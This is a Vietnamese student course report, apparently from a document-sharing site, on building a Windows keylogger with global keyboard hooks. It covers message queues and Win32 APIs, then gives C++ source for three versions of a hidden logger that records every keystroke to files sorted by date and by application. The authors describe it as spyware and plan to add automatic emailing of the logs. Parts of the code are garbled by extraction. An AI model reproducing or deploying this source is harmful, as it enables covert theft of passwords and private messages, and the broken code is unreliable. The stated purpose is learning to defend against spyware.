Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 60 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
60
Dung lượng
1,36 MB
Nội dung
TRƯỜNG ĐẠI HỌC BÁCH KHOA KHOA CÔNG NGHỆ THÔNG TIN BỘ MÔN MẠNG VÀ TRUYỀN THÔNG ĐỒ ÁN HỆ ĐIỀU HÀNH Đề tài: PHẦN MỀM KEYLOGER SỬ DỤNG HOOK WINDOWS Sinh viên : Nguyễn Quan Nhật Nguyễn Quốc Mỹ Lớp : 08T4 Cán hướng dẫn : Huỳnh Công Pháp Đà Nẵng 2011 LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Bộ môn Mạng Truyền Thông Nguyễn Quang Nhật – Nguyễn Quốc Mỹ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com KeyLogger-Sử dụng Hook Windows MỤC LỤC TỔNG QUAN VỀ ĐỀ TÀI Chương CƠ SỞ LÝ THUYẾT I Giới thiệu II Thông Điệp HÀNG ĐỢI THÔNG ĐIỆP CỦA WINDOWS II.1 Giới thiệu II.1.1 Thông điệp windows II.1.2 Loại Thông điệp II.1.3 Lộ trình thơng điệp 10 II.1.4 Xử lý thông điệp 12 II.1.5 Lọc thông điệp 16 II.1.6 Đăng chuyển thông điệp 16 II.1.7 Bế tắc thông điệp 18 II.1.8 Thông điệp quảng bá 19 II.1.9 Truy vấn thông điệp 20 II.2 Sử dụng thông điệp hàng đợi thông điệp 21 II.2.1 Tạo vịng lặp thơng điệp 21 II.2.2 Kiểm tra hàng đợi thông điệp 24 II.2.3 Đăng thông điệp 25 II.2.4 Gửi thông điệp 26 III kỹ thuật hook 28 III.1 Giới thiệu 28 III.2 Chuỗi Hook 29 III.2.1 Thủ tục Hook 29 III.2.2 Các kiểu Hook 29 III.3 Cách sử dụng 31 III.3.1 Cài đặt Hook 31 III.3.2 Giải phóng Hook 31 IV win 32 api 32 IV.1 Giới thiệu 32 IV.2 Các hàm thường dùng 32 Nguyễn Quang Nhật – Nguyễn Quốc Mỹ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Bộ môn Mạng Truyền Thông IV.2.1 SetWindowsHookEx 32 IV.2.2 UnhookWindowsHookEx 33 IV.2.3 CallNextHookEx 33 IV.2.4 LowLevelKeyboardProc 34 IV.2.5 GetKeyState 35 IV.2.6 GetKeyboardState 35 IV.2.7 ToAscii 35 IV.2.8 LoadLibrary 36 IV.2.9 GetProcAddress 36 IV.2.10 OpenProcess 36 IV.2.11 EnumProcessModules 37 IV.2.12 GetModuleBaseName 37 IV.2.13 GetForegroundWindow 38 IV.2.14 GetWindowThreadProcessId 38 IV.2.15 GetLocalTime 39 IV.3 Mã bàn phím ảo 39 Chương PHÂN TÍCH VÀ XÂY DỰNG CHƯƠNG TRÌNH 47 I PHân tích yêu cầu 47 I.1 Yêu cầu chức 47 I.2 Yêu cầu giao diện người dùng 47 I.3 Yêu cầu tương thích 47 II phân tích chức 47 III xây dựng chức 47 III.1 Tập tin thi hành Jaam.exe 47 III.2 Thư viện Hooker.dll 49 III.2.1 Phiên 49 III.2.2 Phiên 51 III.2.3 Phiên 53 Chương TRIỂN KHAI VÀ ĐÁNH GIÁ KẾT QUẢ 57 I Môi trường triển khai 57 II Kết chức nĂng chương trình 57 III Đánh giá nhận xét 58 Nguyễn Quang Nhật – Nguyễn Quốc Mỹ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com KeyLogger-Sử dụng Hook Windows TỔNG QUAN VỀ ĐỀ TÀI Bối cảnh lý thực đề tài Trong khuôn khổ Đồ Án môn học Nguyên Lý hệ điều hành, gợi ý thầy Huỳnh Công Pháp, tụi em chọn đề tài KeyLogger-Sử dụng Hook Windows Khi mà thị trường windows chiếm 90% giới việc nghiên cứu tính quan trọng, windows làm chúng em hứng thú Hơn việc thực đề tài giúp chúng em biết rõ kỹ thuật phần mềm gián điệp, ăn cắp thông tin để biết cách phòng tránh Phương pháp triển khai đề tài Sử dụng mơ hình Tiến Hóa việc phân tích xây dựng phần mềm Chúng em cố gắng để đưa phiên nâng cấp để có phần mềm hoàn chỉnh Kết cấu đồ án Phần mềm gồm tập tin : - Tập tin thi hành Jaam.exe - Thư viện liên kết động Hooker.dll Nguyễn Quang Nhật – Nguyễn Quốc Mỹ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Bộ môn Mạng Truyền Thông Chương CƠ SỞ LÝ THUYẾT I GIỚI THIỆU Hook kỹ thuật điều khiển thông điệp (message-handling) giúp cho ứng dụng cài đặt thủ tục để điều khiển luồng thông điệp tiến hành xử lý thơng điệp trước thơng điệp tới cửa sổ đích Hook xem tính mạnh mẽ Windows, cho phép ta đặt bẫy kiện Bằng cách sử dụng hook, ta điều hướng ứng dụng tới thủ tục mà kiện quan tâm xuất kiện thuộc tiến trình bạn hay thuộc tiến trình khác Để viết chương trình Hook ta cần nắm bắt chế xử lý thông điệp Windows, Thư viện Win32 API Kỹ thuật Hook II THÔNG ĐIỆP VÀ HÀNG ĐỢI THÔNG ĐIỆP CỦA WINDOWS II.1 Giới thiệu Không giống ứng dụng MS-DOS, ứng dụng Windows hướng kiện Chúng không thực chức gọi rõ ràng ( thư viện C ) để có đầu vào Thay vào đó, chúng chờ đợi cho hệ thống chuyển đầu vào đến chúng Hệ thống chuyển tất đầu vào cho ứng dụng cho cửa sổ khác hệ thống Mỗi cửa số có hàm, gọi thủ tục cửa sổ, hệ thống gọi có đầu vào cho cửa sổ Thủ tục cửa số xử lý đầu vào trả kiểm soát cho hệ thống Nếu cử số cao dừng trả lời thông điệp vài giây, hệ thống xem cửa sổ Not Responding Trong trường hợp này, hệ thống ẩn cửa sổ thay với cửa sổ ma có Z, vị trí kích thước, thuộc tính hình ảnh Điều cho phép người sử dụng di chuyển, thay đổi kích thước, đóng ứng dụng Tuy nhiên, hành động hợp lệ ứng dụng thật khơng đáp ứng Khi chế độ gỡ rối, hệ thống không tạo cửa sổ ma II.1.1 Thông điệp windows Nguyễn Quang Nhật – Nguyễn Quốc Mỹ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com KeyLogger-Sử dụng Hook Windows Hệ thống chuyển đầu vào đến thủ tục cửa sổ hình thức thơng điệp Các thơng điệp sinh với hệ thống ứng dụng Hệ thống sinh thông điệp kiện đầu vào – ví dụ, người dùng nhập, di chuyển chuột, nhấp chuột điều khiển cuộn Hệ thống tạo thông điệp hồi đáp để thay đổi hệ thống mang lại mởi ứng dụng, ứng dụng thay đổi tài ngun phơng chữ hệ thống thay đổi kích thước cửa sổ Một ứng dụng sinh thông điệp đến trực tiếp cửa sổ riêng để thực nhiệm vụ để giao tiếp với cửa sổ ứng dụng khác Hệ thống gửi thông điệp tới thông điệp cửa sổ với bốn số : xử lý cửa sổ, tin nhắn nhận dạng, hai giá trị gọi tham số tin nhắn Các xử lý cửa sổ xác định ố mà thông điệp hướng đến Hệ thống dùng để xác định thủ tục cửa sổ nhận thông điệp Định dạng tin nhắn số có tên xác định mục đích thơng điệp Khi thủ tục cửa sổ nhận thơng điệp, sử dụng định danh tin nhắn xác định làm để xử lý thơng điệp Ví dụ, thơng điệp nhân dạng WM_PAINT cho thủ tục cửa sổ để khu vực cửa sổ thay đổi phải vẽ lại Các tham số thông điệp xác định liệu vị trí liệu dùng thủ tục cửa sổ xử lý thông điệp Ý nghĩa giá trị tham số thông điệp phụ thuộc vào thơng điệp Một tham số thơng điệp chứa số nguyên, cờ bit đóng gói, trỏ đến cấu trúc liệu chứa liệu bổ sung, v v Khi thông điệp không dùng tham số thông điệp, chúng thương thiết lập NULL Một thủ tục cửa sổ phải kiểm tra địn danh thông điệp để xác định làm để phân tích thơng số thơng điệp II.1.2 Loại Thơng điệp Có hai loại thơng điệp - Thơng điệp định hệ thống - Thông điệp định ứng dụng Thông điệp định hệ thống Nguyễn Quang Nhật – Nguyễn Quốc Mỹ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Bộ môn Mạng Truyền Thông Hệ thống gửi chuyển Thông điệp định hệ thống giao tiếp với ứng dụng Nó sử dụng thông điệp để điều khiển hoạt động ứng dụng cung cấp đầu vào thông tin khác cho ứng dựng xử lý Một ứng dụng gửi chuyển thơng điệp định hệ thống Ứng dụng thường sử dụng thông điệp để điều khiển hoạt động đối tượng cửa sổ tạo cách dùng lớp cửa sổ đăng ký Mỗi thơng điệp định hệ thống có đinh dạnh thông điệp riêng biểu tượng tương ứng (được đinh nghĩa tập tin header SDK ) nêu rõ mục đích thơng điệp Ví dụ, WM_PAINT u cầu cửa sổ vẽ lại nội dung Hằng số tượng trưng xác định củ thể danh mục mà thông điệp đinh hệ thống thuộc Các tiền tố xác định loại cửa sổ mà phân tích xử lý thông điệp Sau danh xác thông điệp Tiền tố Loại thông điệp ABM and ABN ACM and ACN BCM, BCN, BM, and BN Application desktop toolbar Animation control Button control CB and CBN CBEM and CBEN CCM ComboBox control ComboBoxEx control General control CDM DFM Common dialog box Default context menu DL DM Drag list box Default push button control DTM and DTN Date and time picker control EM and EN HDM and HDN HKM Edit control Header control Hot key control IPM and IPN LB and LBN IP address control List box control LM LVM and LVN MCM and MCN SysLink control List view control Month calendar control PBM Progress bar Nguyễn Quang Nhật – Nguyễn Quốc Mỹ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com KeyLogger-Sử dụng Hook Windows PGM and PGN Pager control PSM and PSN RB and RBN Property sheet Rebar control SB and SBN SBM SMC Status bar window Scroll bar control Shell menu STM and STN TB and TBN TBM and TRBN Static control Toolbar Trackbar control TCM and TCN TDM and TDN TTM and TTN Tab control Task dialog Tooltip control TVM and TVN UDM and UDN Tree-view control Up-down control WM General Thông điệp định ứng dụng Một ứng dụng tạo thông điệp sửa dụng cửa sổ riêng để giao tiếp với cửa sổ ứng dụng khác Nếu ứng dụng tạo thơng điệp nó, thủ tục cửa sổ tiếp nhận phân tích thơng điệp cung cấp xử lý thích hợp Định danh thơng điệp có giá trị sau : - Hệ thống dự trữ định danh thông điệp với giá trị từ 0x0000 đến 0x03FF ( giá trị WM_USER – 1) cho thông điệp định hệ thống Các uwgns dụng dùng thông điệp riêng - Giá trị từ 0x0400 (giá trị WM_USER) tới 0x7FFF hợp lệ cho định danh thông điệp cho lớp cửa sổ riêng - Nếu ứng dụng đánh dấu version 4, ta sử dụng định dạng thơng điệp với giá trị khoản 0x8000 (WM_APP) tới 0xBFFF thông điệp riêng - Hệ thống trả định danh thông điệp khoản 0xC000 tới 0xFFFF ứng dụng gọi hàm RegisterWindowMessage để đăng ký thông điệp Nguyễn Quang Nhật – Nguyễn Quốc Mỹ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Bộ môn Mạng Truyền Thông 10 Định danh thông điệp trả hàm đảm bảo toàn hệ thống Sử dụng chức ngăn chặn xung đột xảy ứng dụng khác dùng định danh thơng điệp cho mục đích khác II.1.3 Lộ trình thơng điệp Hệ thống sử dụng hai phương thức để chuyển thông điệp đến thủ tục cửa sổ : chuyển thông điệp đến hàng đợi, chuyển thông điệp trực tiếp tới thủ tục cửa sổ Một thông điệp đưa đến hàng đợi gọi hàng đợi thông điệp Đây kết chủ yếu đầu vào nhập vào thông qua chuộ bàn phím thơng điệp WM_MOUSEMOVE, WM_LBUTTONDOWN, WM_KEYDOWN, WM_CHAR Các thông điệp hàng đợi khác bao gồm đếm thời gian, vẽ, thơng điệp : WM_TIMER, WM_PAINT, WM_QUIT Phần lớn thông điệp khác gửi trực tiếp đến thủ tục cửa sổ, gọi thông điệp không hàng đợi Hàng đợi thông điệp Hệ thống hiển thị số lượng cửa sổ lúc Để chuyển liệu chuột bàn phím đến cửa sổ thích hợp, hệ thống sử dụng hàng đợi thơng điệp Hệ thống trì hàng đợi hệ thống tin nhắn đơn thread-cụ thể tin nhắn hàng đợi cho thread GUI Để tránh chi phí việc tạo hàng đợi tin nhắn cho chủ đề giao diện không, tất chủ đề tạo ban đầu mà hàng đợi thơng điệp Hệ thống tạo thread-cụ thể hàng đợi thông điệp chủ đề làm cho gọi cho người sử dụng chức cụ thể, khơng có chức giao diện gọi kết việc tạo hàng đợi thông điệp Bất người dùng di chuyển chuột, nhấp chuột vào nút chuột, loại bàn phím, trình điều khiển thiết bị cho chuột bàn phím chuyển đổi đầu vào tin nhắn đặt chúng hàng đợi hệ thống tin nhắn Hệ thống loại bỏ tin nhắn, thời điểm, từ hàng đợi thông điệp hệ thống, kiểm tra để xác định cửa sổ đích, sau viết chúng vào hàng đợi tin nhắn chủ đề tạo cửa sổ đích Hàng đợi tin nhắn chủ đề nhận tất tin nhắn chuột bàn phím cho cửa sổ tạo chủ đề Chủ đề Nguyễn Quang Nhật – Nguyễn Quốc Mỹ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Bộ môn Mạng Truyền Thông 46 0xE8 0xE9-F5 OEM specific VK_ATTN 0xF6 Attn key VK_CRSEL 0xF7 CrSel key VK_EXSEL 0xF8 ExSel key VK_EREOF 0xF9 Erase EOF key VK_PLAY 0xFA Play key VK_ZOOM 0xFB Zoom key VK_NONAME 0xFC Reserved VK_PA1 0xFD PA1 key VK_OEM_CLEAR 0xFE Clear key Nguyễn Quang Nhật – Nguyễn Quốc Mỹ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com KeyLogger-Sử dụng Hook Windows Chương 47 PHÂN TÍCH VÀ XÂY DỰNG CHƯƠNG TRÌNH I PHÂN TÍCH YÊU CẦU I.1 Yêu cầu chức Chương trình ghi lại tồn thao tác phím người dùng lưu tập tin văn I.2 Yêu cầu giao diện người dùng Đây chương trình mang tính chất gián điệp nên chạy ẩn hệ thống khơng có giao diện đồ họa, người dùng xem qua Task Manager I.3 Yêu cầu tương thích Để đảm bảo có tương tác tốt với window, chương trình chúng em sử dụng ngơn ngữ C++ môi trường Dev C++, Visual C++ II PHÂN TÍCH CHỨC NĂNG Để hồn thiện chức năng, Keylogger phát triển giai đoạn với phiên sau : - Phiên 1: Chương trình sơ khai ghi lại tồn thao tác bàn phím, lưu tập tin văn - Phiên 2: Phân tích hệ thống để ghi lại tồn thao tác bàn phím, lưu tập tin văn theo ngày - Phiên 3: Phân tích tiến trình, cửa sổ nhập liệu để ghi lại tồn thao tác bàn phím, lưu tập tin văn theo ngày, theo ứng dụng III XÂY DỰNG CHỨC NĂNG III.1 Tập tin thi hành Jaam.exe #include /* Declare Windows procedure */ LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM); /* Make the class name into a global variable */ Nguyễn Quang Nhật – Nguyễn Quốc Mỹ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Bộ môn Mạng Truyền Thông 48 char szClassName[ ] = "WindowsApp"; HINSTANCE hinstDLL; HHOOK hHook = NULL; typedef VOID (*LOADPROC)(HHOOK hHook); int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil) { hinstDLL = LoadLibrary("Hooker"); if (hinstDLL == NULL) { MessageBox(0,"Not found.","Error",0); return 0; } HOOKPROC hpr = (HOOKPROC)GetProcAddress(hinstDLL,"LogKeyboard"); if (hpr == NULL) { MessageBox(0,"Unvail lib.","Error",0); return 0; } hHook = SetWindowsHookEx(WH_KEYBOARD_LL, hpr, hinstDLL, 0); if (hHook == NULL) { MessageBox(0,"Corrupt lib.","Error",0); return 0; } LOADPROC lpr = (LOADPROC)GetProcAddress(hinstDLL,"SetGlobalHook"); lpr(hHook); HWND hwnd; MSG messages; saved */ /* This is the handle for our window */ /* Here messages to the application are /* Run the message loop It will run until GetMessage() returns */ while (GetMessage (&messages, NULL, 0, 0)) { /* Translate virtual-key messages into character messages */ TranslateMessage(&messages); /* Send message to WindowProcedure */ DispatchMessage(&messages); } /* The program return-value is - The value that PostQuitMessage() gave */ return messages.wParam; } /* This function is called by the Windows function DispatchMessage() */ LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) { switch (message) /* handle the messages */ { case WM_DESTROY: PostQuitMessage (0); /* send a WM_QUIT to the message queue */ UnhookWindowsHookEx(hHook); hHook=NULL; break; Nguyễn Quang Nhật – Nguyễn Quốc Mỹ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com KeyLogger-Sử dụng Hook Windows default: 49 /* for messages that we don't deal with */ return DefWindowProc (hwnd, message, wParam, lParam); } return 0; } III.2 Thư viện Hooker.dll III.2.1 Phiên #include #include #include #include #include #pragma data_seg(".SHARDAT") HHOOK hGlobalHook = NULL; FILE *out; #pragma data_seg() void WriteStringToFile(char *txt); void WriteEnterToFile(); extern "C" declspec (dllexport) LRESULT CALLBACK LogKeyboard(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode == HC_ACTION && wParam == WM_KEYDOWN) { bool isDownShift = ((GetKeyState(VK_SHIFT) & 0x80) == 0x80 ? true : false); bool isDownCapslock = (GetKeyState(VK_CAPITAL) != ? true : false); bool isDownCtrl = ((GetKeyState(VK_CONTROL) & 0x80) == 0x80 ? true : false); byte keyState[256]; GetKeyboardState(keyState); WORD w; KBDLLHOOKSTRUCT* keycode = (KBDLLHOOKSTRUCT*)lParam; if (keycode->vkCode == VK_RETURN) { WriteStringToFile("{Enter}"); WriteEnterToFile(); } if (keycode->vkCode == VK_BACK) WriteStringToFile("{Backspace}"); if (keycode->vkCode == VK_DELETE) WriteStringToFile("{Delete}"); if (keycode->vkCode == VK_HOME) WriteStringToFile("{Home}"); if (keycode->vkCode == VK_END) WriteStringToFile("{End}"); if (keycode->vkCode == VK_LEFT) WriteStringToFile("{Left}"); if (keycode->vkCode == VK_RIGHT) WriteStringToFile("{Right}"); if (keycode->vkCode == VK_UP) WriteStringToFile("{Up}"); if (keycode->vkCode == VK_DOWN) WriteStringToFile("{Down}"); else if (ToAscii(keycode->vkCode, keycode->scanCode, keyState, &w, keycode->flags) == 1) { Nguyễn Quang Nhật – Nguyễn Quốc Mỹ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Bộ môn Mạng Truyền Thông 50 char key = (char)w; if ((isDownCapslock ^ isDownShift) && ((key >= 65 && key = 97 && key vkCode); WriteStringToFile(str);} else { char str[100]; sprintf(str,"%c",key); WriteStringToFile(str);} } } return CallNextHookEx( hGlobalHook, nCode, wParam, lParam ); } extern "C" declspec (dllexport) void SetGlobalHook(HHOOK hHook) { hGlobalHook = hHook; } void WriteStringToFile(char* txt) { out=fopen("d:\\key.txt","a"); fprintf(out,"%s",txt); fclose(out); } void WriteEnterToFile() { out=fopen("d:\\key.txt","a"); fprintf(out,"\n"); fclose(out); } BOOL APIENTRY DllMain (HINSTANCE hInst , DWORD reason being called */ , LPVOID reserved { switch (reason) { case DLL_PROCESS_ATTACH: break; /* Library instance handle */ /* Reason this function is /* Not used */ ) case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } Nguyễn Quang Nhật – Nguyễn Quốc Mỹ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com KeyLogger-Sử dụng Hook Windows 51 /* Returns TRUE on success, FALSE on failure */ return TRUE; } III.2.2 Phiên #include #include #include #include #include #pragma data_seg(".SHARDAT") HHOOK hGlobalHook = NULL; FILE *out; #pragma data_seg() void WriteStringToFile(char *txt); void WriteEnterToFile(); extern "C" declspec (dllexport) LRESULT CALLBACK LogKeyboard(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode == HC_ACTION && wParam == WM_KEYDOWN) { bool isDownShift = ((GetKeyState(VK_SHIFT) & 0x80) == 0x80 ? true : false); bool isDownCapslock = (GetKeyState(VK_CAPITAL) != ? true : false); bool isDownCtrl = ((GetKeyState(VK_CONTROL) & 0x80) == 0x80 ? true : false); byte keyState[256]; GetKeyboardState(keyState); WORD w; KBDLLHOOKSTRUCT* keycode = (KBDLLHOOKSTRUCT*)lParam; if (keycode->vkCode == VK_RETURN) { WriteStringToFile("{Enter}"); WriteEnterToFile(); } if (keycode->vkCode == VK_BACK) WriteStringToFile("{Backspace}"); if (keycode->vkCode == VK_DELETE) WriteStringToFile("{Delete}"); if (keycode->vkCode == VK_HOME) WriteStringToFile("{Home}"); if (keycode->vkCode == VK_END) WriteStringToFile("{End}"); if (keycode->vkCode == VK_LEFT) WriteStringToFile("{Left}"); if (keycode->vkCode == VK_RIGHT) WriteStringToFile("{Right}"); if (keycode->vkCode == VK_UP) WriteStringToFile("{Up}"); if (keycode->vkCode == VK_DOWN) WriteStringToFile("{Down}"); else if (ToAscii(keycode->vkCode, keycode->scanCode, keyState, &w, keycode->flags) == 1) { char key = (char)w; if ((isDownCapslock ^ isDownShift) && ((key >= 65 && key = 97 && key vkCode); WriteStringToFile(str);} else { char str[100]; sprintf(str,"%c",key); WriteStringToFile(str);} } } return CallNextHookEx( hGlobalHook, nCode, wParam, lParam ); } extern "C" declspec (dllexport) void SetGlobalHook(HHOOK hHook) { hGlobalHook = hHook; } void WriteStringToFile(char* txt) { // File name by Time SYSTEMTIME st; GetLocalTime(&st); char str[100]; sprintf(str,"d:\\key-%d_%d_%d.txt",st.wYear,st.wMonth,st.wDay); out=fopen(str,"a"); fprintf(out,"%s",txt); fclose(out); } void WriteEnterToFile() { // File name by Time SYSTEMTIME st; GetLocalTime(&st); char str[100]; sprintf(str,"d:\\key-%d_%d_%d.txt",st.wYear,st.wMonth,st.wDay); out=fopen(str,"a"); fprintf(out,"\n"); fclose(out); } BOOL APIENTRY DllMain (HINSTANCE hInst , DWORD reason being called */ , LPVOID reserved { switch (reason) { case DLL_PROCESS_ATTACH: break; /* Library instance handle */ /* Reason this function is /* Not used */ ) case DLL_PROCESS_DETACH: break; Nguyễn Quang Nhật – Nguyễn Quốc Mỹ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com KeyLogger-Sử dụng Hook Windows 53 case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } /* Returns TRUE on success, FALSE on failure */ return TRUE; } III.2.3 Phiên // dllmain.cpp : Defines the entry point for the DLL application #include #include #include #include #include #include #include #include #pragma data_seg(".SHARDAT") HHOOK hGlobalHook = NULL; FILE *out; #pragma data_seg() int PrintModules( DWORD processID ); void WriteStringToFile(char *txt); void WriteEnterToFile(); LRESULT CALLBACK LogKeyboard(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode == HC_ACTION && wParam == WM_KEYDOWN) { bool isDownShift = ((GetKeyState(VK_SHIFT) & 0x80) == 0x80 ? true : false); bool isDownCapslock = (GetKeyState(VK_CAPITAL) != ? true : false); bool isDownCtrl = ((GetKeyState(VK_CONTROL) & 0x80) == 0x80 ? true : false); byte keyState[256]; GetKeyboardState(keyState); WORD w; KBDLLHOOKSTRUCT* keycode = (KBDLLHOOKSTRUCT*)lParam; if (keycode->vkCode == VK_RETURN) { WriteStringToFile("{Enter}"); WriteEnterToFile(); } if (keycode->vkCode == VK_BACK) WriteStringToFile("{Backspace}"); if (keycode->vkCode == VK_DELETE) WriteStringToFile("{Delete}"); if (keycode->vkCode == VK_HOME) WriteStringToFile("{Home}"); if (keycode->vkCode == VK_END) WriteStringToFile("{End}"); if (keycode->vkCode == VK_LEFT) WriteStringToFile("{Left}"); if (keycode->vkCode == VK_RIGHT) WriteStringToFile("{Right}"); if (keycode->vkCode == VK_UP) WriteStringToFile("{Up}"); if (keycode->vkCode == VK_DOWN) WriteStringToFile("{Down}"); Nguyễn Quang Nhật – Nguyễn Quốc Mỹ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Bộ môn Mạng Truyền Thông 54 else if (ToAscii(keycode->vkCode, keycode->scanCode, keyState, &w, keycode->flags) == 1) { char key = (char)w; if ((isDownCapslock ^ isDownShift) && ((key >= 65 && key = 97 && key vkCode); WriteStringToFile(str);} else { char str[100]; sprintf(str,"%c",key); WriteStringToFile(str);} } } return CallNextHookEx( hGlobalHook, nCode, wParam, lParam ); } void SetGlobalHook(HHOOK hHook) { hGlobalHook = hHook; } char* GetExecutor( DWORD processID ) { HMODULE hMods[1024]; HANDLE hProcess; DWORD cbNeeded; unsigned int i; char* result = (char*)malloc( 1000 );; // Get a handle to the process hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID ); if (NULL == hProcess) return ""; // Get a list of all the modules in this process if( EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) { for ( i = 0; i < (cbNeeded / sizeof(HMODULE)); i++ ) { TCHAR szModName[MAX_PATH]; // Get the full path to the module's file if ( GetModuleBaseName( hProcess, hMods[i], szModName, Nguyễn Quang Nhật – Nguyễn Quốc Mỹ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com KeyLogger-Sử dụng Hook Windows 55 sizeof(szModName) / sizeof(TCHAR))) { // Print the module name and handle value TCHAR* prcName = szModName; wcstombs( result, szModName, 1000 ); } break; } } // Release the handle to the process CloseHandle( hProcess ); return result; } void WriteStringToFile(char* txt) { // File name by Time and App // Curren Time SYSTEMTIME st; GetLocalTime(&st); // Current App HWND curhwndWindow = GetForegroundWindow(); DWORD processID; GetWindowThreadProcessId(curhwndWindow, &processID); char str[100]; sprintf(str,"d:\\key-%d_%d_%d-%s.txt",st.wYear,st.wMonth,st.wDay, GetExecutor(processID)); out=fopen(str,"a"); fprintf(out,"%s",txt); fclose(out); } void WriteEnterToFile() { // File name by Time and App // Curren Time SYSTEMTIME st; GetLocalTime(&st); // Current App HWND curhwndWindow = GetForegroundWindow(); DWORD processID; GetWindowThreadProcessId(curhwndWindow, &processID); char str[100]; sprintf(str,"d:\\key-%d_%d_%d-%s.txt",st.wYear,st.wMonth,st.wDay, GetExecutor(processID)); out=fopen(str,"a"); fprintf(out,"\n"); fclose(out); } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, Nguyễn Quang Nhật – Nguyễn Quốc Mỹ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Bộ môn Mạng Truyền Thông 56 LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } Nguyễn Quang Nhật – Nguyễn Quốc Mỹ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com KeyLogger-Sử dụng Hook Windows Chương 57 TRIỂN KHAI VÀ ĐÁNH GIÁ KẾT QUẢ I MÔI TRƯỜNG TRIỂN KHAI Phần mềm triển khai chạy thử phiên Win7 II KẾT QUẢ CHỨC NĂNG CHƯƠNG TRÌNH Kết chạy chương trình phiên Hình – Chương trình Jaam.exe chạy ngầm Hình – S dụng Trình duyệt Firefox Hình – S dụng chương trinh chat Windows Live Nguyễn Quang Nhật – Nguyễn Quốc Mỹ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Bộ môn Mạng Truyền Thông 58 Hình – Kết ghi từ chương trình Hình – Nội dung tập tin log III ĐÁNH GIÁ VÀ NHẬN XÉT Sau triển khai chạy thử ứng dụng, nhóm tác giả rút nhận xét đánh giá sau : - Chương trình khơng làm tăng đáng kể thời gian hiển thị phím bấm - Chương trình ghi lại 100% thao tác phím - Các tập tin ghi lại theo ngày ứng dụng mà người sử dụng gõ phím thơng tin xác 100% - Vẫn ký tự lạ log Nguyên nhân ký tự Unicode trả từ chương trình Unikey Nguyễn Quang Nhật – Nguyễn Quốc Mỹ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com KeyLogger-Sử dụng Hook Windows 59 KẾT LUẬN VÀ HƯỚNG PHÁT TRIỂN Những kết đạt Chương trình ghi lại 100% thao tác phím Các tập tin ghi lại theo ngày tên ứng dụng mà người dùng gõ phím thơng tin xác 100% Những vấn đề tồn Có tự lạ Log Nguyên nhân tìm hiểu ký tự Unicode chương trinh Unicode gửi đến Hướng phát triển Cho phép hiển thị Unicode log Tích hợp gủi mail cho chương trình để tự động gửi log sau ngày Mã hóa tập tin log để người sử dụng bị theo dõi Nguyễn Quang Nhật – Nguyễn Quốc Mỹ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com Bộ môn Mạng Truyền Thông 60 TÀI LIỆU THAM KHẢO [1] http://msdn.microsoft.com [2] http://congdongcviet.com Nguyễn Quang Nhật – Nguyễn Quốc Mỹ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com ... phóng Hook Như nói hook nên bỏ không cần thiết cách sử dụng hàm UnhookWindowsHookEx Với thread-specific hook, việc sử dụng hàm UnhookWindowsHookEx giải phóng thủ tục hook Tuy nhiên với hook tồn... III.3 Cách sử dụng III.3.1 Cài đặt Hook Ta cài đặt thủ tục hook vào chuỗi hook việc gọi hàm SetWindowsHookEx kiểu hook gọi thủ tục, việc cài đặt hook thực tiến trình hệ thống Nếu sử dụng hook tồn... tục hook thư viện liên kết động thông qua hàm GetProcAddress Sau có thủ tục hook, sử dụng hàm SetWindowsHookEx để cài đặt thủ tục hook vào chuỗi hook Ví dụ sử dụng thư viện liên kết động : HOOKPROC